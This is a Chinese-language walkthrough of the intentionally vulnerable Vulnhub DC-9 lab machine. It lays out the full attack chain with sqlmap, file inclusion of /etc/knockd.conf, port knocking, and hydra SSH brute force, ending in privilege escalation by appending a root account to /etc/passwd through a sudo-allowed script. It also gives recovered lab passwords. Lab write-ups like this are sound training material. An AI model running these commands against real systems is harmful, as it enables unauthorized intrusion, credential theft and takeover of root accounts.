Vulnhub-DC-9
环境配置
vulnhub 下载此靶机,下载地址如下:
1 | https://download.vulnhub.com/dc/DC-9.zip |
将靶机设置为 NAT 模式,开机即可,配置说明如下:
1 | 攻击机ip:192.168.52.128 |
信息收集
端口扫描
首先使用 Nmap 的 Ping 扫描快速发现活跃主机,发现靶机 ip 为 192.168.52.136
1 | nmap -sP 192.168.52.0/24 |
使用 Nmap 全面扫一下开放的端口和运行的服务,这里不能用 -sT 参数,因为部分端口会被 iptables 规则过滤,使用 -sS 半开放扫描才能扫到 22 端口
1 | nmap -sS -A -p1-65535 -T4 -O -sV 192.168.52.136 |
扫描结果如下:系统开放了一个 HTTP 服务(80 端口)、一个 filtered 的 SSH 服务(22 端口)
1 | PORT STATE SERVICE VERSION |
漏洞利用
SQL注入
在搜索界面处存在 sql 注入漏洞,burp 抓包测试,将所有用户都查出来了
先将 burp 的请求包保存到 url.txt 中,用 sqlmap 工具爆数据库,表,数据字段,命令如下:
1 | python sqlmap.py -r url.txt -p search -D Staff -T Users --dump |
注入得到账号密码,sqlmap 还自动把 hash 解了,拿到账号密码 admin/transorbital1
登陆后页面中显示文件不存在,猜测存在文件包含漏洞,使用 file 参数来测试,成功读取到系统文件
端口敲门服务
文件包含之后无法进行日志包含,可能更改了默认日志位置,ssh 端口是 filtered 状态,可能开启了端口敲门服务。默认的配置文件路径为:/etc/knockd.conf
,尝试读取该服务的配置文件
发现 ssh 服务开放的敲门顺序 sequence = 7469,8475,9842
使用 knock 工具依次访问这三个端口,可以看到成功开启了ssh端口:
1 | knock 192.168.52.136 7469 8475 9842 |
密码爆破
SQL 注入还有另一个数据库,爆破这个数据库拿到账号密码表
1 | python sqlmap.py -r url.txt -p search -D users -T UserDetails -C username,password --dump |
将两个表分别保存为 users.txt 和 passwords.txt,使用 hydra 爆破 ssh 账号密码,得到三个账号密码
1 | hydra -L users.txt -P passwords.txt ssh://192.168.52.136 |
依次登陆这三个账号,在 janitor 家目录下又看到一部分密码
将这部分密码再加到 passwords.txt 里重新爆破 ssh 账号密码,得到了一个新的账号密码
1 | [22][ssh] host: 192.168.52.136 login: fredf password: B4-Tru3-001 |
权限提升
登陆后 sudo - l
查看当前用户允许的 sudo 命令
发现 /opt/devstuff/dist/test/test
文件可以无密码以 root 权限执行
直接 sudo 运行提示 test.py 参数错误,在 /opt/devstuff/ 路径找到 test.py 文件,查看文件
1 | #!/usr/bin/python |
脚本是将第一个参数指定的文件的内容写入第二个参数指定的文件中,那就有思路了,构造一个 root 权限的账户写入 /etc/passwd 里,这样就能以 root 权限登陆了
但是这里不能无密码登陆,这里用靶机自带的 openssl 生成一个密码
1 | openssl passwd 123456 |
然后构造 root 权限的账户,sudo 执行脚本即可成功创建账户,登陆,成功提权
1 | echo "liebert77:Bt2jDBBTpCznc:0:0::/root:/bin/bash" >> 1.txt |